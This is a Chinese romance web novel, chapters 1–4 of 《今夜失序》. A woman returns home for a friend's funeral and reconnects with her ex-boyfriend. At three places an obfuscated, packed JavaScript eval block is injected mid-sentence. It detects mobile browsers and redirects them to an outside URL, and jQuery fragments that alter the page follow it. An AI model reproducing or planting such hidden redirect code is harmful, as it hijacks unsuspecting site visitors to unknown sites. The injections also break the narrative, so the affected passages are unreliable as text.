《今夜失序》
1. 好朋友
热风随着气流在玻璃门开合的瞬间涌进,侵袭机场大厅内本就不足的冷气。
温清漪跟在人群后面走得很慢,不时低头看一眼手机。
界面停留在和谢铭洲的微信聊天上,最后两条消息是她发的。
一张航班截图,和一句希望他来接机的请求。
对面至今没回。
温清漪原也没抱什么希望,甚至在消息发出后就开始后悔,但到底没撤回。
她自嘲笑笑,收起手机看了眼指示牌,往出租车上客区的方向走。
然而走出没两步,余光瞥见角落里站了个人。
她几乎是下意识扭头去看,谢铭洲穿了一身黑,看起来比从前瘦一些,衬得人又高了几分。
他也在看温清漪,或者说从她走出来的那刻起,他的目光就紧紧追随。
人群像一条河横亘在两人之间,温清漪停下脚步就这么与他四目相对。
她自北向南一路风尘仆仆赶来,航班落地时天将明,此刻升起的晨光从谢铭洲身后的玻璃窗外兜头洒下,刺得眼眶微微发酸。
等人群散得差不多,谢铭洲走了过来。
分别三年,他和她见面后说的第一句话是:“你不热吗?”
想象中的尴尬与不知所措没有发生,询问就和朋友的关心一样平常,甚至还有几分调侃。
“确实快热死了。”温清漪还没思考好如何回答,大脑就先做出反应。
黑色针织连衣裙外还披了件同色风衣,一落地就知道穿多了,这里温度远比北城高。
“外套先脱了,”谢铭洲伸手接过她的斜挎包,拎在手里掂了掂,“你还真是一如既往极简派,包里只有手机和充电宝?”
“差不多,反正晚上就走,没什么要带的。”她将外套搭在一边手臂上,另一只手拿回包背在肩上。
车停在地库,温清漪没有行李,走扶梯更方便。
两人一前一后各站一块踏板,即便如此她也还是比谢铭洲矮了一小截。
她戳了戳谢铭洲的肩膀,忍不住问:“你不是不来接我吗?消息也不回。”
“昨晚喝了咖啡半夜失眠,今早恰好路过。”他瞎话张口就来。
温清漪哼了声,“那算你疲劳驾驶,你敢开我也不敢坐。”
两人说着走到谢铭洲车旁,黑色SUV,挂的是北城牌照。
“我口是心非,一想到我是你在南城唯一的好朋友,其实心里很乐意来接你,这样总行了吧?”谢铭洲自顾自先上车,“再磨蹭,不坐我走了。”
温清漪嘀咕着“好朋友”的称呼,心里满是不服气。
正要拉开后座车门,却听前面人又说:“坐副驾,真把我当司机了。”
她不情不愿绕至副驾,“这不是怕你女朋友介意嘛。”
谢铭洲有些好笑,伸手从后座捞了个腰垫扔给她,“想打听我感情状况就直说,少造谣。倒是听说你有个追求者,还是大学老师?”
“谁告诉你的?”温清漪有些惊讶。
他们三年没联系,就连微信都是前几天才重新加回来。
“忘了,我们在北城共同的好友太多,一个个都喜欢来跟我说你的近况。”
温清漪有些恼火,自己的事情被透露得一干二净,结果身边朋友从来没和她说过谢铭洲的事。
“看来他们都很有眼力见,从不在我面前提起你,大概怕我生气。”
“那天打你电话的时候,我也以为你会挂掉。”谢铭洲声音轻了些,莫名带了份小心翼翼。
像是即将触及伤心事的试探。
氛围悄然变化,先前还是轻松愉快的语调,转瞬就消失不见。
温清漪收起笑,态度不再随意,甚至有几分庄重,“确实不想接,但我们这么久不联系,你突然打电话应该是有急事。”
可谁能想到,电话接通,却听闻杨柳的死讯。
空气静默半晌,谢铭洲开了点窗。
热风吹在脸上,温清漪靠着玻璃向窗外望去,眼神有些失焦。
从机场到镇上驾车通常需要将近两个小时,清晨车少,来起开更畅通,沿路景象和记忆中的重叠。
她以为自己走了十年之久,这里会有什么变得不同,可好像大部分事物还保持原样,有些人也停留在原地。
比如杨柳,最后一次和她见面已经是好几年前的事了。
那年温清漪高考结束,和母亲收拾了东西一起去车站。
走的那天,杨柳跟着谢铭洲去送她们。分别前她对温清漪说:“姐姐,我以后要考到北城去找你。”
后来杨柳确实去了北城,但只是作为一个游客,短暂地欣赏梦想破碎后向往的城市。
时间一到返回南城,仅此而已。
此后她就永远留在南城,直到生命结束。
思绪百转千回,温清漪斟酌再斟酌,终于问出了口:“她是怎么死的?”
恰逢红灯,谢铭洲踩住刹车,长叹口气,“自杀。”
拂面的热风顷刻消散,脊背渗出丝丝寒意。
温清漪听到了最不想听见的答案。
她一时忘了如何回应,张了张嘴没能出声。
所有的惊讶与不敢置信,在初闻杨柳死讯后已经翻涌过了。
对于死因的各种猜测,她不是没有做过假想。
但当“自杀”二字作为答案盖棺论定,带来的冲击远大过她以为。
“如果当初她能留在北城,一切会不会不一样?”温清漪再次开口,声音变得哽咽。
谢铭洲没有立时回答,车上氛围有些沉重。
“如果我能和她保持联系,是不是也会不同?”她忍不住又问。
“别多想,你起得早,再睡会儿。”
他关上车窗,打开空调,调低广播音量。
话题就此结束,狭小的空间只剩轻叹。
等温清漪再次醒来,已经到了殡仪馆。
她睡得不是很熟,但睁开眼仍觉得恍惚,此刻天光早已大亮。
看了眼时间,不过八点半。
“我们不下去吗?”温清漪解开安全带。
“走吧。”他熄了火下车,绕到副驾帮她开门。
温清漪刚站稳,一句谢谢尚未出口,就听谢铭洲问:“可以抱你一下吗?”
她还在发懵,没来得及反应,就落入一个温暖的怀抱。
熟悉的气息包裹着她,没有想象中的抗拒,反而觉得格外心安。
他轻拍着她的肩膀,声音也很轻,“温清漪,杨柳自杀与你无关,我不知道她留在北城的结局会怎样,但如果每件事都要做假设,那令人后悔的时刻实在太多了。”
安慰的话语落入耳中,像一双宽大有力的手托住即将下坠的身躯。
温清漪心底翻涌的不安与自我怀疑渐自退去。
她将脑袋埋在他胸前,声音闷闷的,“我后悔的事的确有很多。”
后面的话没说出口,谢铭洲已经先松开了她。
温清漪望了望自己悬在半空还没能回抱住他的手,不着痕迹地放下。
心下却是一片怅然,不禁埋怨这个拥抱太短暂。
“后悔的事就忘记,你现在这样挺好的。”他脸上一片泰然自若。
“那你呢?满意现在的生活吗?”温清漪不甘心,偏要追问出答案。
他锁了车,大步朝入口走,语气变得漫不经心,“就那样,还行吧。”
走到半路,有人叫住谢铭洲。
温清漪跟着脚步一顿,循声去看,一男一女挽着手过来,是以前的高中同学。
女的她记得是叫顾晓芸,男的只觉面熟,名字一时没想起来。
那两人见到温清漪均是一愣。
顾晓芸面露惊诧,“周晗晋你也来了?真是不可思议。”
男的同样感到意外,“肯定是谢铭洲告诉你的,也就他有你联系方式了。”
重回故乡偶遇以前的同学、长辈,这种事都在温清漪的预料之中。
她扬起一个笑,“是啊。对了我改名了,叫我温清漪吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635289|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“跟你妈姓呀?改头换面完,连南城都不回了,”顾晓芸一聊起来就收不住,“毕业以后的同学聚会,你是一次都没出现过。”
“我们该先过去了,叙旧的话晚点再说也不迟。”谢铭洲适时打断这场对话。
温清漪和他走在后面,小声问:“顾晓芸旁边那男的叫什么?他俩是什么关系?”
“那是杨飞,他和杨柳家还有点亲戚关系呢。高中那段时间有女生说他像郭富城,你不记得了?他们结婚两年多,现在女儿都一岁了。”
“嗯……”温清漪想了半天,不禁感慨,“果然大多数的久别重逢都是幻灭现场。”
“可你没变。”谢铭洲这句话似乎意有所指。
温清漪没搭腔,只管往前走。
前往告别厅的台阶长而缓,向上延伸,不见尽头。
数团白色烟雾自后山升起,耳边哀乐混杂,有人吹着《友谊地久天长》,也有人演奏《奇异恩典》。
多少人死后场面比生前盛大,温清漪不禁想,或许杨柳也是这样吗?
在漫长的台阶上,谢铭洲始终与她同行,“你晚上几点走?”
“四点半的飞机,到时候我自己打车去就行了。”
“我下午没事,可以送你。”
“晚点再说吧。”
步入三号告别厅,比起辨认在场众人,温清漪的目光先扫过两旁的花圈。
她视线停留在写有自己名字的那条挽联上——“沉痛悼念杨柳,好友温清漪全家敬挽。”
抬头向正中望去,杨柳的遗像就挂在那里。
看第一眼时温清漪知道那是杨柳没错,可看久了又觉得她变了不少。
这种变化与长相和年龄无关。
她记忆中的杨柳目光坚定,而照片中的人眼神黯淡,面容倦怠。
又或许这只是多年未见的错觉。
杨柳的父母就在一旁,杨母看起来格外憔悴,杨父则显得有些麻木。
谢铭洲带着温清漪过去,杨父只点头示意,转头又去接待别的亲朋。
杨母一见温清漪,眼眶就红了。
她嘴唇翕动,双手微颤,“如果杨柳知道你来了,一定会很高兴的。”
温清漪犹豫着是不是应该握住她的手聊表安慰。
但潜意识里她并不想这么做,甚至不愿表露出过多的关切。
杨柳会走到今天,杨父杨母有着不可推卸的责任。
可不论杨柳父母如何对待杨柳,在他们眼里,温清漪一直是女儿生前最好的朋友。
偏偏旧日好友不知彼此近况,再见竟是在葬礼上。
只有不明真相的长辈还让记忆停留在过去。
“如果你能早点回来看她,或许她就不会自杀了。”杨母握住温清漪的手腕,力道紧得像攥住一根迟来的救命稻草。
“杨姨,”谢铭洲当即拉开杨母,挡在两人中间,“您请节哀。”
杨母意识到自己情绪失控,表情有些勉强,“抱歉。”
“节哀。”温清漪维持着面上的笑,语气却略显生硬,手腕被握住的地方留下一道红痕。
不痛不痒,但醒目刺眼,杨母的那句话就和这道暂时留下的印迹一样,挥之不去。
即便温清漪保持冷静走完后面的流程,可每个动作在谢铭洲看来都格外机械。
谢铭洲不由分说牵住她,“温清漪我再说一次,杨柳的死与你无关,不要因为旁人转移责任的一句话而内疚。”
他不顾四周投来的目光,走出告别厅也没松手。
那双手温热干燥,动作很轻,但握住她时坚定决绝。
“从离开南城起,这里的一切就都与你无关了,这话可是你自己说的。”
温清漪眼眶有些湿润,她觉得自己被坏情绪影响的心情似乎又被托住了。
不过是转瞬间的念头,她突然好想再抱一次谢铭洲。
想要那种用力长久的,能够与他身体贴合的拥抱。
哪怕只是一下就好。
2. 留下来
他的掌心真暖和,如果不能再拥抱,像这样一直牵下去也不错。
但她知道,等谢铭洲说完那些安抚人心的话,就会和之前一样适时松开。
温清漪在心里读着秒,可一直等走到车旁,两人的手竟还握着。
“你晚上就要回去,别把在这儿的坏心情也带走。”他表现得一切如常,即便牵着手走了一路也没什么好奇怪,“现在不如想想待会儿去吃饭可能被问到的问题。”
那些人能问什么呢?
无非是好奇她和母亲的现状。
当年温清漪高考结束,母亲毅然决然地选择和她一起离开南城。
这件事在镇上传得沸沸扬扬,没人看好一个中年丧夫的家庭主妇能带着女儿在完全陌生的大城市重新开始。
父亲那边的亲戚更是等着看笑话,猜她们母女俩会在哪天灰溜溜地重回南城。
但温女士说到做到,十年里不仅在北城扎了根,也一次都没回过南城。
如果不是因为杨柳的葬礼,温清漪这次也不会回来。
可她丝毫不担心遇上从前冷嘲热讽的人,甚至在出发前就想好了应对的话语。
前一天晚上她还拉着温女士预演过如何用一句话叫人难堪。
温女士却说:“有这功夫不如多吃两口菜,你是参加杨柳的葬礼,又不是他们的,管他们干什么?”
温清漪转念一想也是,犯不着和以后不会再有交集的人多费口舌。
“无所谓,他们想问什么我就如实回答好了。”
当真满不在意,便也不在乎说出来的话会让别人怎么想。
杨家定的餐厅不远,就在镇上的一个小饭店。
他们去时已经有不少上午没来得及去参加葬礼的人在了。
顾晓芸和杨飞也比他们早到,找了一桌坐下,还在旁边专门为他们留了两个位置。
谢铭洲怕温清漪被高中同学缠住不放,想带她坐别桌。
“过去吧,别辜负了人家好意。”她倒是坦荡,先在顾晓芸旁边坐下。
一桌十人,除了两位高中同学,其他都是杨家的亲戚,温清漪都不认识。
在温清漪印象中,顾晓芸一直是自来熟的话痨。
即便多年未见,也不见对方有一丝因为生疏而产生的尴尬。
就听顾晓芸的问题一个接一个,“你妈妈现在身体怎么样呀?你们应该都很喜欢北城吧。今年暑假想带我女儿去北城旅游,有没有推荐的地方?”
“挺好的,她在药房工作,休息的时候和小姐妹打打麻将,偶尔周边游,比我惬意多了。”温清漪也的确如实回答,“北城暑假人多还热,要做好准备。不过好玩的地方很多,值得多住几天慢慢玩,你要是来的话可以找我。”
顾晓芸连连摆手,“不用不用,那太麻烦了,多不好意思。我就只是问问,毕竟你也算是半个本地人,有什么推荐的地方就告诉我,我们加个微信?”
“啊,好。”温清漪没想到竟然还会和以前的同学加上微信。
刚打开手机,顶上突然跳出谢铭洲的消息框。
谢铭洲:「你要不要和我换个座位?怕你招架不住她的热情。」
温清漪:「算了,现在换座位好奇怪。我记得她以前就这么自来熟,偶尔聊聊天也还挺怀念的。」
谢铭洲:「你别勉强就好。」
一顿饭吃到后面,温清漪已经适应了顾晓芸的热情。
都说不是一家人不进一家门,杨飞和顾晓芸一样外向健谈。
聊着聊着,四人就打开了话匣子。
从谈话中得知,杨飞在市里开了家足浴会所,顾晓芸喜欢小孩,在做幼师。
谢铭洲守着母亲留下的文具店,什么时候高兴,就去店里看一眼。
“你现在在做什么?有男朋友吗?”杨飞问这话时被顾晓芸不客气地拧了下腿。
她瞪着他,“聊点别的,打听人家隐私干吗?”
“没事,”聊开以后,温清漪就放松多了,“我之前给一个教授做助理,后来他推荐我进了现在的事务所,目前一直在做审计。”
“审计很忙吧?是不是还要经常出差?”顾晓芸感慨。
“对呀,忙得脚不沾地,哪还有时间找男朋友,每次出差加班都想换工作。”这算变相回答了杨飞的第二问题。
谢铭洲只有在被问到时才说两句,大部分只安静听着。
现在突然插了句:“都这么忙了,又怎么和那老师认识的?”
杨飞和顾晓芸面面相觑,不约而同地嗅出一丝非同寻常的气息。
温清漪淡淡瞥了他一眼,“我自有安排,忙年审也不耽误社交。”
“就是,温清漪长这么漂亮又有能力,追她的人肯定也不少。大学到现在肯定也没少谈恋爱。”
“没有,大学只谈过一个,前几年分了。”云淡风轻的语气,传到谢铭洲耳朵里却是格外闹心。
偏偏杨飞毫无眼力见,还在喋喋不休,“为什么?”
“道不同不相为谋咯。”话音刚落,温清漪就感到自己被一道充满怨气的视线盯上。
她假装被新上的菜吸引,埋头苦吃。
“别光聊天,”谢铭洲咬牙切齿,又往她碗里夹了几筷,“再多吃点。”
“虽然许久不见,但感觉你俩关系还是一如既往的好啊。”顾晓芸笑眯眯地看着两人。
“对了,我们晚上临时组了个局,叫今天在南城的同学一块聚聚,温清漪你也来吧?”杨飞向她发出邀请。
几个高中同学从杨飞那得知温清漪回来,都想喊她参加一次同学聚会。
于是这项重任落到杨飞身上,他尽量用稀松平常的语气不经意提出。
顾晓芸则认为这群人是在白费力气,温清漪从来不参加集体活动,就算这次有机会也一定会找借口推脱。
果然,温清漪一脸为难,“可是我下午就要回去了,四点半的航班。”
“她票都定了,哪有当天邀请的,下次再说。”谢铭洲偷偷打量着温清漪的表情,不想她为难又想她留下。只盼着这样说完,杨飞能再挽留。
杨飞果然如他所料不依不饶,再作努力,“你明天要上班吗?”
“周末我休息。”
“那简单,我帮你改签升舱,酒店随便选我报销,”说着他又看向谢铭洲,“听你的鬼话,谁知道下次是什么时候。”
这点顾晓芸倒也赞成,要见一面实在难得。
虽然高中三年不长不短,但好歹也是同学一场。
何况温清漪一直是她们班上成绩最好,高考考得最好的那个。
单纯有机会能见一面,都不想错过,并无恶意。
“不愧是杨总,出手真阔绰。”谢铭洲调侃。
温清漪也没想到他会这样说,思索了会儿,“你们晚上定在哪里?看了眼航班,我可以改签到明天下午。机酒我自己搞定,你们的好意心领了。”
“啊?”谢铭洲和顾晓芸都觉得不可思议。
没料到她竟然就这么答应了。
对上两人不敢置信的眼神,温清漪哭笑不得,“有这么惊讶吗?高中同学都盛情邀请到这份上了,我也刚好有空,再拒绝就说不过去了吧?”
顾晓芸吃惊归吃惊,对结果十分满意。
吃完午饭各自散场,走前顾晓芸发了一个定位,附言晚上六点包厢见。
杨飞把谢铭洲拉到一边吩咐:“我知道你下午没事,带温清漪去我店里做个足浴。千万不要客气,我已经和前台说了,你替我们好好招待人家,晚上见。”
“等等,你店里都是男技师,我带她去像话吗?”
杨飞不以为意,“男技师怎么了,我们店里的技师手法专业、力道到位,关键还长得帅啊。你又不是没去过,正经得不能再正经。再说温清漪也没男朋友,她自己不介意就好,你大惊小怪干什么?”
谢铭洲有苦难言,又是一番咬牙切齿。
上了车,看到温清漪瘫坐在副驾,问:“你想不想去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635290|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杨飞店里做足浴,他要尽地主之谊。”
温清漪面露犹豫,“其实我一直想问,他那个会所正经吗?”
“正经,都是男技师,你想去吗?”
“正经就去呗,反正也没事,到晚上还早。”温清漪瞥了眼谢铭洲欲言又止的表情,装作没看见。
到了地方,温清漪才知道是自己想多了,这的确是家叫得出名字的正经连锁店。
前台接了杨飞的电话,知道老板有朋友要来。
他认识谢铭洲,带两人进了VIP包间。
“他们3号按得挺舒服的,你要不要试试?”谢铭洲指着平板上一个人的照片,又对前台说,“我还是7号好了。”
“哦,都蛮帅的嘛,就他吧。”
前台给了两人手牌,“3号和7号都还有半小时结束,你们可以先去换衣服。”
谢铭洲先换完衣服,在浴室门口不远处的台球桌前打了两个球。
等温清漪出来,朝她挥挥手示意她过去,“来一局?反正还要等一会儿。”
“可以,我开球。”温清漪在墙边挑了个中头杆,擦上巧克粉找了个位置准备开球。
但刚弯腰,她就发现这衣服不方便,身体前倾容易走光。
显然,谢铭洲也意识到了她的犹豫是出于什么,“算了,还是回房间选个电影躺着吧。”
温清漪却有点恋恋不舍,她很久没打球,摸到杆就有点手痒。
以前上大学时,她几乎每天都会在吃完晚饭后去学校里的台球厅打两个小时。
有时候是和舍友,有时候是和谢铭洲。
看来今天是没机会切磋了。
回到房间,温清漪在投影上挑来挑去,终于选了一部悬疑电影播放。
刚看到有人被杀,门就被敲响,两位技师拎着箱子进来了。
温清漪看着两人,感受到了一丝照片与实物不符的欺骗。
不过对方水平确实不错,力道不轻不重,控制得恰到好处。
还给了她一个艾草枕捂在小腹上,又贴心地问她想吃什么。
“来个芒果沙冰吧。”房间里温度偏高,配上力道适中的按摩和发热的熏枕,她泛起困意。
忽听谢铭洲开口:“现在都月中了,你还要吃冰沙?每次痛过就忘?”
温清漪一愣,没想到他还记得自己的生理期,一时心中五味杂陈。
“没事,化了吃,我先睡会儿。”她展开毛毯盖住上半身,调整靠背躺下去。
还是少和谢铭洲聊天比较好,界限与分寸被太过熟稔的动作与话语模糊,总能勾起有关过去的记忆。
谢铭洲却没有因此止住话头,好不容易有场合能问出心中疑惑,“你不是最讨厌计划被打乱,况且机票都订好了,竟然还会答应这种临时起意的同学聚会。说什么盛情难却,我一个字都不信。”
温清漪盯着天花板暖黄色的灯光,看久了有些晃眼。
她阖上眼,头向另一侧偏去。
同学聚会是临时起意,却给她一个能光明正大留下来的借口。
不想再回南城是真的,想留下来和谢铭洲再多待一会儿也是真的。
毕竟这次以后,他们应该不会再见了。
当然,她也不希望再回来参加谁的葬礼。
只是这种话无论如何也说不出口,所以只好归结于却之不恭。
面对谢铭洲的追问,她也只说:“偶尔发生一次无伤大雅的变动,勉强能接受。而且生活里有多少事能按我的计划来,人也是会变的,我以前还说不回南城不见你,现在不也跟你心平气和地一起做足浴吗?”
看似合理的解释让谢铭洲无言以对。
但他敢笃定,这绝对不是答案。
温清漪向来如此,和他一样的口是心非。
哪有什么临时起意的同学聚会,如果没有他在后面推波助澜,杨飞又怎么会想到开这个口。
看着温清漪的背影,谢铭洲只觉自己装出来的坦荡虚伪得要命。
3. 住我家
电影接近尾声,女男主携手将凶手绳之以法,生活重回正轨。
选择要看这部电影的人却在一旁歪着脑袋睡着了,她头偏向另一侧,看不见面容。
谢铭洲盯着片尾字幕,思绪有些飘飘然,恍惚间飘到好几年前,他们还在一起的时候。
毕业后,谢铭洲在两人公司折中的地方租了个单身公寓。
一到周末温清漪就会去找他,两人平时工作忙,每到休息根本懒得动,只想一起躺在家里。
温清漪没别的爱好,就喜欢看悬疑片,或者拉上谢铭洲一起玩解谜游戏。
如果遇到小长假,两人就在附近山里预订度假酒店,换个地方继续躺着。
现在回想那些时光,真是恍如隔世,但所有细节都被他清楚地记住。
其实谢铭洲以为,在自己下定决心重回北城前,他们都不会再见面。
却没想到现在两人竟还能在一间房里看着悬疑片做足浴,尽管温清漪睡着了。
这依然是个不可思议的下午。
等到片尾都放完,谢铭洲关了投影,只留自己手边的一盏小灯。
又过了一个多小时,快到五点的时候才叫醒温清漪。
时间差不多,该换衣服准备参加同学聚会。
温清漪看了眼时间,她本是为了避免聊天尴尬才故意装睡,没想到一睡就忘了时间。
醒来只觉房间里更热了,嗓子渴得发干,她伸手去拿不久前点的芒果冰沙。
一伸手却够了个空,芒果冰沙不见了,边上只有果汁。
她立刻扭头看向谢铭洲,眼神分明在质问,“是不是你干的?”
谢铭洲读懂了,微一点头,“冰沙化了有沉淀,我重新给你点了杯常温橙汁。”
果汁是鲜榨的,入口微酸带甜,温清漪一口气喝了半杯。
但她嘴上不依不饶:“我们什么关系要你来管我?”
“你说呢?”谢铭洲不动声色。
“好朋友。”温清漪盯着他的眼睛。
谢铭洲失笑,她还真是和以前一样记仇,“那我就是身为好朋友监督你,让你在下一次生理期时避免痛经。”
过于坦然地回答让温清漪一时不知该作何回应。
从前是身为男朋友的关心,现在是好朋友的监督。
他倒是身份转换,怎样都很适应。
看出温清漪的窘迫,谢铭洲打开房间大灯,起身穿上拖鞋,“去换衣服,准备走了。”
说完他先开门出去,温清漪等人走了,喝完剩下半杯橙汁才跟上。
同学聚会的餐厅是杨飞自诩严选的一家海鲜火锅,虽然也在市中心,但藏在不起眼的角落。
温清漪跟着谢铭洲串街走巷,绕到辨不清方向,不禁对杨飞的选择产生了一丝怀疑。
到了地方才知道什么叫门庭若市,如果不提前订座,恐怕她和多年未见的同学们只能坐在门口边排队边叙旧了。
说是同学聚会,其实包厢里连一桌十人都没坐满。
除了杨飞和顾晓芸,另有两女一男,温清漪提前复习,这次名字和脸都能一一对应。
最先和她说话的长发女生是以前的文娱委员陈洁,“温清漪,我们都以为你不会来呢。”
听陈洁叫自己现在的名字,温清漪有些意外,不知是不是杨飞或者顾晓芸特意纠正过。
但似乎所有人见到她说的第一句话都是在惊讶她的出现。
看来当年和母亲一起要离开的决心给他们留下了深刻的印象。
“我们还打赌,谁赢了谁请客。”循声望去,接话的是个寸头男,以前的体委。
坐着的另外一个短发女生是当年的英语课代表。
她们班上一共二十三个人,班委和课代表分配到大家,几乎人人都能担个“一官半职”。
温清漪原本是班长,但她讨厌帮班主任跑腿,便推给了谢铭洲。
又因为成绩优异,于是当了不需要做什么事情的学委。
“所以谁赌赢了?”温清漪拉开顾晓芸身边的椅子坐下。
谢铭洲又顺着坐在温清漪旁边,和中午吃饭时一样的顺序。
他拆开自己面前的餐具,烫洗过后放到温清漪面前,自己则把她的拿过来重复一遍先前的操作。
一直没作声的英语课代表看到谢铭洲的动作,笑得意味深长,“班长这么贴心,怎么不给我们的餐具一起烫了?”
“要不怎么说他俩关系好呢,顺手的事。”顾晓芸想起来,中午吃饭的时候谢铭洲也是这样做的。
那动作太过顺手,一个递得自然,一个用得习惯,以至于她都没当回事。
“是吗?”英语课代表脸上的笑依旧耐人寻味,她不紧不慢看向温清漪,“我猜你一定会来,所以打赌是我赢了。”
人再少的班级也会传出一些绯闻,不论真假,或许本来毫无关系的两人也因这传闻生出几分似有若无的尴尬,落到旁人眼中则成了不好意思的避嫌。
当年温清漪和谢铭洲的绯闻就是从英语课代表这传出来的,但时至今日,她都不觉得自己的猜想是空穴来风。
甚至多年再见,这两人光是在对面坐着,她都仍然觉得他们之间的氛围与众不同。
只是不管以前还是现在,都没人赞同她的直觉。
甚至还有人为他们解释,不过是从小就在一起玩,关系好的青梅竹马罢了。
又有人问英语课代表,你那么关心他们俩干什么?英语课代表回答,学习太无聊,小说看多了。
温清漪对上她探究的眼神,“你还是和以前一样八卦,以我和谢铭洲为原型的小说写完了?如果出版可要寄一本给我。”
“那本没有,倒是有个短篇小说集在等版号,哪天样书到手一定给你寄过去。”说着她打开微信,“交换下联系方式?我考虑下半年去北城旅居,没准还能约你吃个饭。”
温清漪没拒绝,给她改了备注——周静。
另外两人也顺势和她加了微信,客套着说下次有机会去北城旅游。
又聊了会儿,菜都上齐,一人一个小锅,各吃各的。
杨飞还点了一箱啤酒,除了谢铭洲开车,其他人都喝了。
温清漪忽视谢铭洲瞥过来的眼神,开了一瓶倒进杯中。
她酒量还行,平常在家和妈妈小酌两杯,偶尔下了班也和同事出去喝点。
在准备开第三瓶的时候,谢铭洲拿走了她的杯子。
温清漪没和他争,自觉把手里的啤酒瓶换成他递来的橘子汽水。
常温的就是不如冰镇的,但入口酸甜,还是熟悉的味道,让她想起高三的某个下午。
那天所有人都走光了,只有她不想回家,于是独自留在空荡的教室写作业。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635291|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏日傍晚的空气带着躁意,后门落了锁,前门虚掩着。
打开窗却没有对流风进来,静谧的氛围反被树上蛐蛐的叫声搅扰。
前门忽然被人推开,谢铭洲去而复返,手里多了个塑料袋。
他在温清漪桌上放下一瓶冰镇的橘子汽水。
水珠顺着瓶身滑落,在桌上印成一圈圆形水渍。
他没说一句话,却陪她到作业写完,天色将暗。
后来只要再喝到橘子汽水,或是闻到相似气味,温清漪都会想起那个下午。
但又不止于此,大概是谢铭洲在她生命中出现得太早又陪伴得太久,许多场景发生时他就在身边,以至于在许多能勾起回忆的时刻,这个人就已经不打招呼地浮现在她脑海。
所以三年不见又如何,他仍旧在她生活里无处不在。
就连难得做一次梦,他都要进入其中。
温清漪实在不知道该怎么办,朋友劝她开始一段新的感情,用将来代替过去,让当下覆盖回忆。
她试着接受这种做法,于是答应参加上司安排的联谊,没有和对自己有好感的大学老师划清界限。
但当她再次见到谢铭洲,原本想要重新开始的决心产生动摇,先前所有的尝试都不过是自欺欺人。
胡思乱想的念头在聚餐结束,与其他人逐一告别以后达到顶峰。
现在只剩下她和谢铭洲。
春天的晚风带着暖意,轻拂过脸庞,悄然带来初夏的气息,也像从前的气息。
望着站在台阶上有些出神的温清漪,谢铭洲无奈摇头,一步三跨牵住她的手,“走了。”
温清漪安安静静跟在后面,手指却不安分地在他掌心挠来挠去。
羽毛般的触感,带来若即若离的痒意。
谢铭洲用力握紧不让她动,走到车旁开了门,把她塞进去系好安全带。
等车子发动,谢铭洲却没急着开出去。
他扭头看向不知在想什么的温清漪,“你准备住哪个酒店,我送你。”
在决定多留一晚后温清漪抽空看过酒店,市中心有几家不错的酒店,但当天的房间都被订完了。
正因如此,她才不喜欢做毫无准备的事,事情脱离掌控的感觉让人不安。
而剩下选择都一般,既然没喜欢的住哪都一样,便不急着订。
她甚至想过,如果提出住在谢铭洲家,他会是什么反应。
现在打开软件随便翻着为数不多的选项,两人一时无话。
谢铭洲看她手指在屏幕上下滑动,选了半天也没决定。
又等了会儿,他忽然说:“要不住我家吧。”
温清漪还在滑动的手指突然顿住,僵硬地侧过头去,有些不敢置信。
谢铭洲面色平静,“你要觉得不方便,那我还是送你去酒店。”
他没多解释,再说什么都只会越描越黑。
刚才喝的两瓶啤酒度数很低,没有半点后劲,温清漪无比清醒。
却在听到“住我家”三个字后,头脑一阵发晕,未料想象变成现实。
而这话由谢铭洲说出来,比任何酒精更让人失去理智。
偏他面色如常,眼神清明,似乎仅仅是出于朋友的好心。
温清漪心中有根弦被拨动,泛起涟漪的同时又夹杂些许酸楚。
她知道应该拒绝,然而,然而。
4. 吊带裙
谢铭洲现在住的地方是他三年前回南城后租的。
当初选这是全因对面就是医院,来回照顾母亲方便。
半年后母亲去世,他把这里买下来,从以前的住处那完全搬了过来。
小区门口有家新开的便利店,路过时谢铭洲停了车,“我去买点东西。”
温清漪哦了声,自从刚刚沉默着答应住在他家后,她就一直低头玩手机。
身体还刻意偏向右边窗外,再也不和谢铭洲对视。
等谢铭洲走远,温清漪才点开和妈妈的置顶聊天框。
温韵玫:「到酒店了给我发个消息。」
温清漪:「谢铭洲让我住他家」
温韵玫:「你答应了?」
温清漪:「嗯」
温韵玫:「……我就知道」
温韵玫:「都是成年人,注意安全!」
看到最后那条消息,温清漪脸一下就热了。
她把脸贴在玻璃上,想和妈妈辩解是她想多了,可谢铭洲现在又去便利店买什么呢?
光标在输入框里一跳一跳,思索半晌,最终什么都没回。
不知道谢铭洲怎么想,但温清漪脑子里乱作一团。
她期待着发生些什么,牵手拥抱接吻,或者更进一步。
仿佛这样就能填满心中长久以来的空落。
就算明知这样无异于饮鸩止渴。
美梦能维持多久?
